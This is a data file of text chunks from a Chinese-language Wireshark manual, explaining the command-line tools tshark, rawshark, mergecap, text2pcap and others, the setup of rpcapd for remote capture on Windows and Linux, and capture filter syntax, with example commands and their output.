    {"text": "执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -T json -j \"http tcp ip\" -r test. pcapng [ { \"_index\": \"packets-2019-07-17\", #索引 \"_type\": \"pcap_file\", #类型 \"_score\": null, \"_source\": { #源 \"layers\": { #层 \"frame\": { #帧 \"filtered\": \"frame\" #过滤器 }, \"eth\": { #以太网协议 \"filtered\": \"eth\" }, \"ip\": { #IP协议 \"ip.version\": \"4\", #版本 \"ip.hdr_len\": \"20\", #硬件地址长度 \"ip.dsfield\": \"0x00000000\", \"ip.dsfield_tree\": { \"filtered\": \"ip.dsfield\" }, \"ip.len\": \"73\", #IP长度 \"ip.id\": \"0x0000ad72\", #ID \"ip.flags\": \"0x00000000\", \"ip.flags_tree\": { \"filtered\": \"ip.flags\" }, 从以上输出信息可以看到，输出了指定协议层的信息。"},
    {"text": "指定时间信息的选项及含义如下： ·-t a|ad|adoy|d|dd|e|r|u|ud|udoy：指定输出时间戳格式，默认为r（与第一个包的相对时间）。"},
    {"text": "其中，a表示捕获包的绝对真实时间； ad表示捕获包的绝对日期，显示为YYYY-MM-DD time； adoy表示捕获包绝对日期，显示格式为YYYY/DOY,time； d表示与前一个捕获包间隔的时间戳； dd表示与前一个显示包间隔的时间戳；"},
    {"text": "【实例A-63】 指定输出的时间戳格式为UTC绝对日期并且时间类型为秒，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -t ud -u s Capturing on '鏈 湴杩炴帴' 1 2019-07-18 02:17:33.459267 61.134.118.226 → 192.168.80.130 UDP 75 16907 → 20455 Len=33 2 2019-07-18 02:17:33.462329 60.222.141.62 → 192.168.80.130 UDP 75 17398 → 20455 Len=33 3 2019-07-18 02:17:33.463741 192.168.80.130 → 61.134.118.226 UDP 1107 20455 → 16907 Len=1065 4 2019-07-18 02:17:33.463834 60.222.141.62 → 192.168.80.130 UDP 79 17398 → 20455 Len=37 5 2019-07-18 02:17:33.476334 61.134.118.226 → 192.168.80.130 UDP 75 16907 → 20455 Len=33 6 2019-07-18 02:17:33.483311 192.168.80.130 → 60.222.141.62 UDP 1107 20455 → 17398 Len=1065 7 2019-07-18 02:17:33.483510 192.168.80.130 → 60.222.141.62 UDP 1107 20455 → 17398 Len=1065 8 2019-07-18 02:17:33.488353 60.222.141.62 → 192.168.80.130 UDP 75 17398 → 20455 Len=33 9 2019-07-18 02:17:33.492111 61.134.118.226 → 192.168.80.130 UDP 75 16907 → 20455 Len=33 10 2019-07-18 02:17:33.492533 192.168.80.130 → 61.134.118.226 UDP 1107 20455 → 16907 Len=1065 11 2019-07-18 02:17:33.492623 192.168.80.130 → 60.222.141.62 UDP 1107 20455 → 17398 Len=1065 12 2019-07-18 02:17:33.508059 192.168.80.130 → 61.134.118.226 UDP 1107 20455 → 16907 Len=1065 13 2019-07-18 02:17:33.520825 61.134.118.226 → 192.168.80.130 UDP 75 16907 → 20455 Len=33 14 2019-07-18 02:17:33.523819 192.168.80.130 → 61.134.118.226 UDP 1107 20455 → 16907 Len=1065 从以上输出信息可以看到，捕获到的数据包显示时间为绝对日期。"},
    {"text": "4.信息详略程度 当用户在捕获数据包时，可以设置输出信息的详细程度，如显示包详细信息、只显示指定协议的包及显示汇总信息等。 用于设置输出信息详略程度的选项及含义如下： ·-V：输出包结构树，即包详情。"},
    {"text": "【实例A-64】 显示包的结构树和字节详情，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -V -x Frame 104: 1107 bytes on wire (8856 bits), 1107 bytes captured (8856 bits) on interface 0 Interface id: 0 (\\Device\\NPF_{484A3511-C320-4F5A-8925-5B524612CBA4}) Interface name: \\Device\\NPF_{484A3511-C320-4F5A-8925-5B524612CBA4} Interface description: \\346\\234\\254\\345\\234\\260\\350\\277\\236\\346\\ 216\\245 Encapsulation type: Ethernet (1) Arrival Time: Jul 18, 2019 10:30:22.136025000 中国标准时间 [Time shift for this packet: 0.000000000 seconds] Epoch Time: 1563417022.136025000 seconds [Time delta from previous captured frame: 0.000156000 seconds] [Time delta from previous displayed frame: 0.000156000 seconds] [Time since reference or first frame: 0.505146000 seconds] Frame Number: 104 Frame Length: 1107 bytes (8856 bits) Capture Length: 1107 bytes (8856 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:udp:data] Ethernet II, Src: Vmware_34:75:8b (00:0c:29:34:75:8b), Dst: Vmware_ fe:de:2f (00:50:56:fe:de:2f) Destination: Vmware_fe:de:2f (00:50:56:fe:de:2f) Address: Vmware_fe:de:2f (00:50:56:fe:de:2f) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Vmware_34:75:8b (00:0c:29:34:75:8b) Address: Vmware_34:75:8b (00:0c:29:34:75:8b) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) Internet Protocol Version 4, Src: 192.168.80.130, Dst: 121.30.115.74 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1093 Identification: 0x2c89 (11401) Flags: 0x0000 0... .... .... .... = Reserved bit: Not set .0.. .... .... .... = Don't fragment: Not set ..0. .... .... .... = More fragments: Not set ...0 0000 0000 0000 = Fragment offset: 0 Time to live: 128 Protocol: UDP (17) Header checksum: 0x0000 [validation disabled] [Header checksum status: Unverified] Source: 192.168.80.130 Destination: 121.30.115.74 User Datagram Protocol, Src Port: 20455, Dst Port: 48719 Source Port: 20455 Destination Port: 48719 Length: 1073 Checksum: 0x01d6 [unverified] [Checksum Status: Unverified] [Stream index: 4] [Timestamps] [Time since first frame: 0.374323000 seconds] [Time since previous frame: 0.005860000 seconds] Data (1065 bytes) Data: d58480a6a6f4fdc92e9c7e8b828286c7c5226d2c8564fd11… [Length: 1065] 0000 00 50 56 fe de 2f 00 0c 29 34 75 8b 08 00 45 00 .PV../..)4u...E. 0010 04 45 2c 89 00 00 80 11 00 00 c0 a8 50 82 79 1e .E,.........P.y. 0020 73 4a 4f e7 be 4f 04 31 01 d6 d5 84 80 a6 a6 f4 sJO..O.1........ 0030 fd c9 2e 9c 7e 8b 82 82 86 c7 c5 22 6d 2c 85 64 ....~......\"m,.d 0040 fd 11 10 10 10 10 d8 fe ff ff ff ff ff ff fb f4 ................ 0050 63 1f d8 ae 12 d6 89 c9 8e e1 52 4a 8c 32 47 7e c.........RJ.2G~ 0060 93 6f 87 ad 83 24 ee 05 36 5f 10 91 f3 60 d0 3f .o...$..6_...`.? 0070 15 73 8d 27 35 7f 90 e5 f2 6c 70 e0 d1 dc df 2e .s.'5....lp..... 0080 07 2e 21 ed 80 91 0f 7b d4 55 2b 24 2c 9e f0 70 ..!....{.U+$,..p 从以上输出信息可以看到显示的数据包的详细结构信息。"},
    {"text": "【实例A-65】 显示所有TCP包的数据流，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -z flow,tcp,network 5.着色功能 用户在捕获数据包时，还可以启用着色功能，类似于Wireshark的图形界面。"},
    {"text": "未知 A.4.7 杂项 除了前面的大量选项外，tshark还有几个杂项，可以用来合并重复的键，查看帮助信息、版本信息和指定报告格式等。这些杂项及含义如下： ·--no-duplicate-keys：合并重复的键。使用该选项时，-T选项的参数需要设置为json。 ·--elastic-mapping-filter<protocols>：启用指定协议的映射文件。 ·-h：显示帮助信息。 ·-v：显示版本信息。 ·-o<name>:<value>：覆盖偏好设置。 ·-K<keytab>：指定keytab文件。 ·-G[report]：指定报告格式，默认为fields。用户执行-G help命令，可以获取报告格式列表。 【实例A-67】 覆盖tcp.desegment_tcp_streams参数值为FALSE，执行命令如下： C:\\Program Files\\Wireshark>tshark.exe -i 5 -c 10 -o tcp.desegment_tcp_ streams:FALSE -n -q 未知 A.5 简易数据文件分析工具rawshark rawshark是一个简易数据文件分析工具，可以用来分析数据包的封装方式和报文头格式等。本节将介绍rawshark工具的使用方法。 1.指定数据来源 rawshark工具的语法格式如下： rawshark [options] ... rawshark工具提供了大量选项，可以用来指定数据来源，解析方式或输出信息等。如果要分析数据包，则需要指定数据来源。用于指定数据来源的选项及含义如下： ·-r<pipe>：指定读取数据包的管道。其中，该选项值可以是一个FIFO的名称（管道名称）或“-”读取标准输入的数据。 2.解析方式 用户在分析数据包时，还需要指定其解析方式。用于指定解析方式的选项及含义如下： ·-d<encap:linktype>|<proto:protoname>：数据包封装方式或协议。 ·-p：使用系统报文头格式。 ·-s：忽略PCAP的头。 3.输出信息 用户还可以对输出的信息进行相关设置，如指定显示的字段、是否启用名称解析，以及指定显示过滤器等。用于设置输出信息的选项及含义如下： ·-F<field>：设置显示的字段。 ·-n：禁止所有名称解析。默认启用所有名称解析。 ·-N<name resolve flags>：启用指定的名称解析。其中，可指定的值为mnNtdv。 ·-R<read filter>：指定显示过滤器。 ·-l：输出报文内容。 ·-S：指定字段格式。其中，可指定的格式有%D（name）、%S（stringval）和%N（numval）。 ·-t ad|a|r|d|dd|e：指定时间戳格式，默认为r（相对时间）。 【实例A-68】 使用rawshark工具分析由dumpcap捕获的数据包文件，指定解析数据包封装方式为以太网包，而且忽略PCAP的头，显示ip.dst和http.host字段。执行命令如下： C:\\Program Files\\Wireshark>dumpcap.exe -w- -i 5 -f \"tcp port 80\" | rawshark.exe -d encap:EN10MB -l -r- -s -F ip.dst -F http.host 4.杂项 除了前面的一些选项外，还有几个杂项可以查看帮助信息、版本信息及覆盖偏好设置。这些杂项及含义如下： ·-h：显示帮助信息。 ·-o<name>:<value>：覆盖偏好设置。 ·-v：显示版本信息。 未知 2.3.1 管理远程接口 在“管理接口”对话框中选择“远程接口”标签，将显示“远程接口”选项卡，如图2.26所示。 图2.26 “远程接口”选项卡 从中可以看到，目前还没有添加任何远程接口。单击左下角的添加按钮 ，即可添加远程接口。 默认大部分操作系统都没有安装rpcapd服务。所以，如果要使用远程接口捕获数据包，则需要在远程主机上安装rpcapd服务。下面分别介绍在Windows和Linux中安装并启动rpcapd服务的步骤。 未知 A.6 其他工具 除了前面介绍的一些工具外，Wireshark还提供了其他的命令行工具，如dftest、mergecap和mmdbresolve等。本节将介绍这些工具的使用方法。 未知 A.6.1 显示过滤器字节码查看工具dftest dftest是一个显示过滤器字节码查看工具。该工具的语法格式如下： dftest [ <filter> ] 以上语法中，参数filter用来指定显示过滤器。 【实例A-69】 查看显示过滤器tcp的字节码，执行命令如下： C:\\Program Files\\Wireshark>dftest.exe tcp Filter: \"tcp\" #过滤器 Constants: #常量 Instructions: #指令 00000 CHECK_EXISTS tcp 00001 RETURN 从输出的信息可以看到，成功获取到了显示过滤器tcp的字节码信息。"},
    {"text": "未知 A.6.2 合并捕获文件mergecap mergecap工具可以将多个捕获文件合并为一个。下面介绍该工具的使用方法。 1.基本语法 mergecap工具的语法格式如下： mergecap [options] -w <outfile>|- <infile> [<infile> ...] 以上语法中，基本的选项及含义如下： ·-w<outfile>：指定输出的文件名，或者，使用“-”标准输出。 ·-F<capture type>：指定输出的文件格式，默认为pcapng。如果仅指定一个-F选项，将列出文件类型列表。 【实例A-70】 按包时间戳合并两个包文件。执行命令如下： C:\\Program Files\\Wireshark>mergecap.exe -w output.pcapng test.pcapng tcp. pcapng 2.连接文件 mergecap可以使用-a选项将多个文件拼接成一个文件。该选项及含义如下： ·-a：连接文件，默认按照数据包的时间戳进行合并。 【实例A-71】 将两个包文件拼接成一个文件，执行命令如下： C:\\Program Files\\Wireshark>mergecap.exe -w output.pcapng test.pcapng tcp. pcapng -a 3.截断文件 用户在合并文件时，可以指定截断文件大小。用于设置截断文件的选项及含义如下： ·-s<snaplen>：将文件中的数据包均截断为<sanplen>字节。 【实例A-72】 设置截断文件的大小为64字节，执行命令如下： C:\\Program Files\\Wireshark>mergecap.exe -w output.pcapng test.pcapng tcp. pcapng -s 64 4.杂项 mergecap工具还可以设置接口描述块合并方式、帮助信息和冗余信息。这些选项及含义如下： ·-I<IDB merge mode>：设置接口描述块合并方式。如果仅使用-I选项，将列出合并模式列表。 ·-h：显示帮助信息。 ·-v：显示冗余信息。 【实例A-73】 查看合并模式列表。执行命令如下： C:\\Program Files\\Wireshark>mergecap.exe -I mergecap.exe: option requires an argument -- 'I' mergecap: The available IDB merge modes for the \"-I\" flag are: none all any 从输出的信息可以看到，支持的合并模式有none、all和any。 【实例A-74】 设置接口描述块合并方式为all，执行命令如下： C:\\Program Files\\Wireshark>mergecap.exe -w output.pcapng test.pcapng tcp. pcapng -I all 未知 A.6.3 解析IP地理信息工具mmdbresolve mmdbresolve工具用来解析IP地址信息。该工具的语法格式如下： mmdbresolve -f <dbfile> [ -f <dbfile> ] ... 以上语法中，-f<dbfile>选项用来指定MaxMind数据库文件。 【实例A-75】 查看IP地址61.135.169.121的位置信息，执行命令如下： C:\\Program Files\\Wireshark>echo 61.135.169.121 | mmdbresolve.exe -f E:\\ maxmind\\GeoLite2-City.mmdb [init] db.0.path: E:\\maxmind\\GeoLite2-City.mmdb #MaxMind数据库文件路径 db.0.status: OK #状态 db.1.type: GeoLite2-City #数据库文件类型 mmdbresolve.status: true #mmdbresolve状态 # End init [61.135.169.121] #IP地址 # GeoLite2-City #城市信息 country.iso_code: CN #国家代码 country.names.en: China #国家名称 city.names.en: Beijing #城市 location.latitude: 39.928800 #纬度 location.longitude: 116.388900 #经度 location.accuracy_radius: 20 # End 61.135.169.121 从输出的信息可以看到，成功获取到了IP地址61.135.169.121的位置信息。例如，国家代码为CN、国家名称为China，城市为Beijing等。 未知 A.6.4 数据包排序工具reordercap reordercap是一个数据包排序工具。该工具默认基于时间戳重新排序并保存，其语法格式如下： reordercap [options] <infile> <outfile> reordercap工具支持的选项及含义如下： ·-n：如果已经有序，则不重新保存。 ·-h：显示帮助信息。 ·<infile>：指定排序的文件。 ·<outfile>：指定排序后的输出文件。 【实例A-76】 对捕获文件tcp.pcapng进行排序，执行命令如下： C:\\Program Files\\Wireshark>reordercap.exe -n tcp.pcapng output.pcapng 188604 frames, 138 out of order 从输出的信息可以看到，138个包进行了排序。"},
    {"text": "未知 A.6.5 十六进制文本数据转化工具text2pcap text2pcap是一个十六进制文本数据转换工具。 该工具的语法格式如下： text2pcap [options] <infile> <outfile> text2pcap工具支持的选项可以分为4类，分别是设置数据来源、设置数据输出、补充信息和杂项。"},
    {"text": "2.设置数据输出 用户可以将转化后的文件输出到一个新的文件中，并且还可以指定输出的类型、包最大长度和格式等。 设置数据输出的选项及含义如下： ·<outfile>：指定输出的文件。"},
    {"text": "【实例A-77】 将十六进制文本数据转化为pcap文件。 （1）将十六进制文本数据保存在test.txt文件中，其内容如下： 000000 00 0e b6 00 00 02 00 0e b6 00 00 01 08 00 45 00 000010 00 28 00 00 00 00 ff 01 37 d1 c0 00 02 01 c0 00 000020 02 02 08 00 a6 2f 00 01 00 01 48 65 6c 6c 6f 20 000030 57 6f 72 6c 64 21 000036 （2）将test.txt文件中的数据转化为test.pcap文件，执行命令如下： C:\\Program Files\\Wireshark>text2pcap.exe -t \"%H:%M:%S\" test.txt test.pcap Input from: test.txt #输入文件 Output to: test.pcap #输出文件 Output format: pcap #输出格式 Wrote packet of 54 bytes. #写入的包大小 Read 1 potential packet, wrote 1 packet (94 bytes). #读取的包 从输出的信息可以看到，成功对十六进制文本数据进行了转化。"},
    {"text": "3.补充信息 用户对文本数据进行转化后，还可以追加一些头部信息，如Ethernet II头、IP协议头及UDP头等。 用户追加的这些信息选项及含义如下： ·-e<l3pid>：补充Ethernet II头。"},
    {"text": "·-4<srcip>,<destip>：补充IPv4格式的源和目标地址，如-410.0.0.1,10.0.0.2。 ·-6<srcip>,<destip>：补充IPv6格式的源和目标地址，如-6 fe80::202:b3ff:fe1e:8329,2001:0db8:85a3::8a2e:0370:7334。 ·-u<srcp>,<destp>：补充UDP头的源地址和目标地址，如-u 1000,69。 ·-T<srcp>,<destp>：补充TCP的源端口号和目标端口号，如-T 50,60。 ·-s<srcp>,<dstp>,<tag>：补充SCTP的源端口号、目标端口号和验证标记，如-s 30,40,34。 ·-S<srcp>,<dstp>,<ppi>：补充SCTP的源端口号、目标端口号和验证标记0，如-S 30,40,34。"},
    {"text": "将数据分隔成小于等于100字节长度的包，执行命令如下： C:\\Program Files\\Wireshark>text2pcap.exe -e 0x806 -m 100 test.txt test.pcap Input from: test.txt Output to: test.pcap Output format: pcap Generate dummy Ethernet header: Protocol: 0x806 #生成Ethernet头 Wrote packet of 68 bytes. Read 1 potential packet, wrote 1 packet (108 bytes). 从输出的信息可以看到，添加了以太网头部（Ethernet）。 【实例A-79】 给数据包封装IP头部且为ICMP协议，执行命令如下： C:\\Program Files\\Wireshark>text2pcap.exe -i 1 test.txt test.pcap Input from: test.txt Output to: test.pcap Output format: pcap Generate dummy Ethernet header: Protocol: 0x800 #生成Ethernet头 Generate dummy IP header: Protocol: 1 #生成IP头 Wrote packet of 88 bytes. Read 1 potential packet, wrote 1 packet (128 bytes). 从输出的信息可以看到，添加了以太网头和IP头。 【实例A-80】 给数据包封装UDP头部，并且sport为1000，dport为69，执行命令如下： C:\\Program Files\\Wireshark>text2pcap.exe -u 1000,69 test.txt test.pcap Input from: test.txt Output to: test.pcap Output format: pcap Generate dummy Ethernet header: Protocol: 0x800 #生成Ethernet头 Generate dummy IP header: Protocol: 17 #生成IP头 Generate dummy UDP header: Source port: 1000. Dest port: 69 #生成UDP头 Wrote packet of 96 bytes. Read 1 potential packet, wrote 1 packet (136 bytes). 从输出的信息可以看到封装的UDP头部，而且源端口为1000，目标端口为69。 【实例A-81】 给数据包封装TCP头部，并且sport为50，dport为60，执行命令如下： C:\\Program Files\\Wireshark>text2pcap.exe -T 50,60 test.txt test.pcap Input from: test.txt Output to: test.pcap Output format: pcap Generate dummy Ethernet header: Protocol: 0x800 Generate dummy IP header: Protocol: 6 Generate dummy TCP header: Source port: 50. Dest port: 60 Wrote packet of 108 bytes. Read 1 potential packet, wrote 1 packet (148 bytes). 从输出的信息可以看到封装的TCP头部，而且源端口为50，目标端口为60。"},
    {"text": "未知 2.3.2 Windows下配置rpcapd服务 如果用户想要捕获的远程主机是Windows系统的话，则需要在Windows系统中安装及配置rpcapd服务。下面将介绍在Windows下安装和配置rpcapd服务的步骤。 1.安装rpcad组件 rpcad组件包含在WinPcap软件包中。用户需要手动安装该软件包。 【实例2-7】 在Windows 7上安装rpcapd服务。具体操作步骤如下： （1）下载WinPcap软件，其官网地址为 http://www.winpcap.org/ 。用户在浏览器中访问该网址后，将出现如图2.27所示的页面。 图2.27 WinPcap官网页面 （2）在该页面中，单击Download链接，将显示WinPcap下载页面，如图2.28所示。 图2.28 WinPcap下载页面 （3）从中可以看到WinPcap工具的当前版本为4.1.3，而且还可以看到支持的操作系统有Windows NT4/2000、Windows XP/2003/Vista/2008/Win7/2008R2/Win8(x86 and x64)。单击Installer for Windows链接，即可下载WinPcap安装包。下载成功后，其安装包名为WinPcap_4_1_3.exe。双击WinPcap安装包，将显示WinPcap欢迎界面，如图2.29所示。 （4）单击Next按钮，进入许可协议对话框，如图2.30所示。 图2.29 欢迎界面 图2.30 许可协议对话框 （5）单击I Agree按钮，进入安装选项对话框，如图2.31所示。 （6）单击Install按钮，将开始安装WinPcap工具。安装完成后，显示安装完成对话框，如图2.32所示。 图2.31 安装选项对话框 图2.32 安装完成对话框 （7）单击Finish按钮，WinPcap工具安装完成，即rpcapd服务安装成功。接下来就可以启动rpcapd服务，实现远程接口捕获数据包了。 在Windows中，用户可以使用两种方法来启动rpcapd服务，分别是图形界面和命令行模式。下面将分别介绍这两种方法。 2.图形界面启动rpcapd服务 Windows提供了专用的图形接口用来管理各种服务。下面讲解如何在图形界面环境中启动rpcapd服务。 （1）在Windows图形界面中，按Win+R快捷键，打开“运行”对话框，如图2.33所示。 图2.33 “运行”对话框 （2）在“打开”文本框中输入services.msc命令，单击“确定”按钮，打开“服务”窗口，如图2.34所示。 （3）从“服务”窗口中找到Remote Packet Capture Protocol v.0(experimental)服务，如图2.35所示。 图2.34 “服务”窗口 图2.35 rpcapd服务 （4）从图2.35中的状态列可以看到，该服务还没有启动。单击“启动此服务”，即可启动rpcapd服务，如图2.36所示。 图2.36 成功启动rpcapd服务 （5）从状态列可以看到，rpcapd服务为“已启动”。由此可以说明，rpcapd服务启动成功。 3.命令行启动rpcapd服务 对Windows命令行比较熟悉的用户，可以使用命令行直接启动服务。操作过程如下： （1）在Windows图形界面中，按Win+R快捷键，打开“运行”对话框，输入cmd命令，将显示命令行窗口，如图2.37所示。 图2.37 命令行窗口 （2）切换到WinPcap的安装位置，并执行rpcapd.exe可执行程序，如图2.38所示。 图2.38 成功启动rpcapd服务 （3）看到以上输出信息，则表示成功启动了rpcapd服务。如果想要停止该服务，按Ctrl+C键。在以上命令中的选项-n，表示允许空认证。为了确定rpcapd服务是否成功启动，用户可以查看监听的端口。其中，rpcapd服务默认监听的端口为2002。执行命令如下： C:\\Users\\Administrator>netstat -an | findstr /i \"2002\" TCP 0.0.0.0:2002 0.0.0.0:0 LISTENING TCP [::]:2002 [::]:0 LISTENING 从输出的信息可以看到，当前主机正在监听2002端口。由此可以说明，rpcapd服务启动成功。"},
    {"text": "未知 2.3.3 Linux下配置rpcapd服务 如果用户捕获的远程主机是Linux系统的话，则需要在Linux系统中安装及配置rpcapd服务。下面将介绍在Linux下配置rpcapd服务的过程。 【实例2-8】 Linux上安装rpcapd服务。具体操作步骤如下： （1）下载rpcapd服务的安装包，其地址为 http://www.winpcap.org/install/bin/WpcapSrc_4_1_2.zip 。这里将使用wget命令下载，输出信息如下： root@daxueba:~# wget http://www.winpcap.org/install/bin/WpcapSrc_4_1_2.zip --2019-06-11 09:36:22-- http://www.winpcap.org/install/bin/WpcapSrc_4_ 1_2.zip 正在解析主机 www.winpcap.org (www.winpcap.org)... 104.25.218.21, 104.25. 219.21, 2606:4700:20::6819:db15, ... 正在连接 www.winpcap.org (www.winpcap.org)|104.25.218.21|:80... 已连接。 已发出 HTTP 请求，正在等待回应... 301 Moved Permanently 位置：https://www.winpcap.org/install/bin/WpcapSrc_4_1_2.zip [跟随至新的 URL] --2019-06-11 09:36:22-- https://www.winpcap.org/install/bin/WpcapSrc_4_ 1_2.zip 正在连接 www.winpcap.org (www.winpcap.org)|104.25.218.21|:443... 已连接。 已发出 HTTP 请求，正在等待回应... 200 OK 长度：3833073 (3.7M) [application/zip] 正在保存至: “WpcapSrc_4_1_2.zip” WpcapSrc_4_1_2.zip 100%[==============================================================>] 3.66M 2.45MB/s 用时 1.5s 2019-06-11 09:36:25 (2.45 MB/s) - 已保存 “WpcapSrc_4_1_2.zip” [3833073/ 3833073]) 看到以上输出信息，则表示成功下载了WpcapSrc_4_1_2.zip安装包，并保存在了当前目录中。 （2）解压安装包。执行命令如下： root@daxueba:~# unzip WpcapSrc_4_1_2.zip 执行以上命令后，所有的文件都将被解压到winpcap目录中。 （3）进入winpcap/wpcap/libpcap目录中，为configure和runlex.sh脚本添加可执行权限。执行命令如下： root@daxueba:~# cd winpcap/wpcap/libpcap/ root@daxueba:~/winpcap/wpcap/libpcap# chmod +x configure runlex.sh （4）执行configure脚本进行软件配置。 root@daxueba:~/winpcap/wpcap/libpcap# CFLAGS=-static ./configure （5）编译源码包。执行命令如下： root@daxueba:~/winpcap/wpcap/libpcap# make （6）切换到rpcapd目录中，重新进行编译。执行命令如下： root@daxueba:~/winpcap/wpcap/libpcap# cd rpcapd/ root@daxueba:~/winpcap/wpcap/libpcap/rpcapd# make 执行以上命令后，在编译过程中如果没有出现任何错误，表示rpcapd服务安装成功。接下来，用户通过执行rpcapd脚本，即可启动rpcapd服务。 （7）启动rpcapd服务。执行命令如下： root@daxueba:~/winpcap/wpcap/libpcap/rpcapd# ./rpcapd -n Press CTRL + C to stop the server... bind(): Address already in use (code 98) 看到以上输出信息，则表示rpcapd服务启动成功。同样，用户也可以通过查看监听的端口，来确定rpcapd服务是否启动成功。执行命令如下： root@daxueba:~# netstat -antpul | grep 2002 tcp 0 0 0.0.0.0:2002 0.0.0.0:* LISTEN 41452/./rpcapd 看到以上输出信息，则表示正在监听端口2002，即rpcapd服务启动成功。接下来，用户就可以在Wireshark中添加远程接口了。"},
    {"text": "未知 2.3.4 添加远程接口 当用户在远程主机上安装rpcapd服务后，即可在Wireshark中远程连接该服务，即添加远程接口，然后通过该远程接口来捕获远程主机的数据包。下面介绍添加远程接口的方法。 【实例2-9】 添加远程接口。具体操作步骤如下： （1）在“管理接口”对话框中，选择“远程接口”标签，将显示“远程接口”选项卡，如图2.39所示。 （2）从中可以看到，目前还没有添加任何远程接口。单击左下角的添加按钮 ，将弹出“远程接口”对话框，如图2.40所示。 图2.39 “远程接口”选项卡 图2.40 “远程接口”对话框 （3）在其中需要指定rpcapd服务的主机地址和端口。如果用户通过命令行方式启动rpcapd服务，并使用-n选项指定允许空认证的话，则可以选择“无认证”单选按钮。否则，需要选择“密码认证”单选按钮，并指定登录的用户名和密码。本例中允许空认证，所以选择“无认证”单选按钮。然后单开OK按钮，即可连接到远程服务rpcapd，并且将会显示出远程主机的所有网络接口，如图2.41所示。 （4）从“远程接口”选项卡中可以看到成功添加的远程接口。其中，远程主机上有两个接口，分别是eth0和lo，用户选择对应的接口还可以进行远程设置。例如，选择接口eth0，并单击“远程设置”按钮，将弹出“远程捕获设置”对话框，如图2.42所示。 图2.41 添加的远程接口 图2.42 “远程捕获设置”对话框 提示： 从远程接口对话框中可以看到，当前的Wireshark版本无法保存远端设置。所以当用户重新启动Wireshark后，配置的远程接口将失效。 （5）在其中可以设置捕获选项和采样选项。用户可以根据自己的需要进行设置，然后依次单击OK按钮，将返回“捕获接口”对话框，如图2.43所示。 图2.43 “捕获接口”对话框 （6）从该对话框中可以看到刚添加的两个远程接口。用户选择某个接口，即可捕获远程主机的数据包。 未知 2.3.5 实施远程捕获数据包 当用户使用管道或远程接口时，则需要通过远程的方式来捕获数据包。下面将介绍远程捕获数据包的方法。 【实例2-10】 通过远程接口捕获远程主机的数据包。具体操作步骤如下： （1）启动Wireshark工具。在捕获接口中单击“管理接口”，弹出“管理接口”对话框，选择“远程接口”选项卡，如图2.44所示。 图2.44 “远程接口”选项卡 （2）从中可以看到已成功连接到远程主机。此时，单击OK按钮，将返回“捕获接口”对话框，如图2.45所示。 图2.45 “捕获接口”对话框 （3）在其中选择使用rpcapd服务连接的远程接口rpap://192.168.80.137/，然后单击“开始”按钮，将捕获远程主机的数据包，如图2.46所示。 图2.46 捕获的数据包 （4）从标题栏中可以看到正在捕获远程接口的数据包，而且从分组列表中的Source（源地址）和Destination（目标地址）列可以看到，数据包都是来自主机192.168.80.137。由此可以说明，成功捕获了远程主机的数据包。 未知 2.4 使用捕获过滤器 捕获过滤器指的是提前设置好的过滤规则。当捕获数据包时，只捕获符合过滤规则的报文。使用Wireshark捕获数据包，会捕获所有的数据包。当用户分析数据包时，很难找到自己需要的部分。此时，就可以通过使用捕获过滤器来控制捕获数据的数量了。其中，Wireshark可以基于类型、传输方向、协议和数据进行数据包过滤。本节将介绍捕获过滤器的使用方法。 未知 1.1.1 网络构成 如果要了解网络数据传输，则必须先对网络的构成有所了解。通常情况下，一个网络包括三部分，分别是网络主机、网络线路和网络设备。下面分别介绍这三部分。 1.网络主机 网络主机是指具有网络接口设备（网卡）的主机，如计算机和手机等。通常情况下，计算机又分为云服务器、虚拟主机和物理主机。 2.网络线路 网络线路就是指传输数据的方式。通常情况下，人们使用的网络线路有有线和无线两种。其中，有线就是指通过使用网线的方式连接网络，这种方式限制了设备之间的距离，但是数据传输比较稳定；无线是指通过无线协议实现数据传输和网络连接。例如，对于普通家用Wi-Fi网络，一般室内50米范围内可以全方位传输数据。但是，无线传输方式容易被电磁波干扰，尤其是墙壁等障碍物对无线信号影响较大。 3.网络设备 如果要连接网络，则肯定离不开网络设备。网络设备是指使用网线将网络主机连接到一起的设备，如集线器、交换机和路由器。"},
    {"text": "未知 2.4.1 指定捕获过滤器 如果要使用捕获过滤器，需要在捕获数据包之前指定将要使用的捕获过滤器。可以使用两种方法来指定捕获过滤器，分别是在开始界面和“捕获接口”对话框中。下面将分别介绍这两种指定捕获过滤器的方法。 1.在开始界面 启动Wireshark，将打开Wireshark的开始界面，如图2.47所示。 图2.47 Wireshark开始界面 在该界面捕获下面的文本框，就是用来指定捕获过滤器的。其中，捕获过滤器的语法格式如下： <Protocol> <Direction> <Host(s)> < Value> < Logical Operations> <Other expression> 以上语法中各选项含义如下： ·Protocol（协议）：该选项用来指定协议。可使用的值有ether、fddi、wlan、ip、arp、rarp、decnet、lat、sca、moproc、mopdl、tcp和udp。如果没有特别指明是什么协议，则默认使用所有支持的协议。 ·Direction（方向）：该选项用来指定来源或目的地，默认使用src or dst作为关键字。该选项可使用的值有src、dst、src and dst和src or dst。 ·Host(s)：指定主机地址。如果没有指定，默认使用host关键字。可能使用的值有net、port、host和portrange。 ·Logical Operations（逻辑运算）：该选项用来指定逻辑运算符。可能使用的值有not、and和or。其中，not（否）具有最高的优先级；or（或）和and（与）具有相同的优先级，运算时从左至右进行。 ·Other expression（其他表达式）：使用其他表达式捕获过滤器。 接下来，用户即可根据捕获过滤器的语法，指定需要的捕获过滤器。例如，指定仅捕获TCP协议的数据包，如图2.48所示。 图2.48 指定捕获过滤器 提示： 当用户指定捕获过滤器时，可以根据背景色判断指定的捕获过滤器语法是否正确。如果捕获过滤器的语法正确，则背景色为绿色，如图2.49所示；如果语法错误，则背景色为红色，如图2.50所示。 图2.49 语法正确 图2.50 语法错误 2.捕获接口对话框 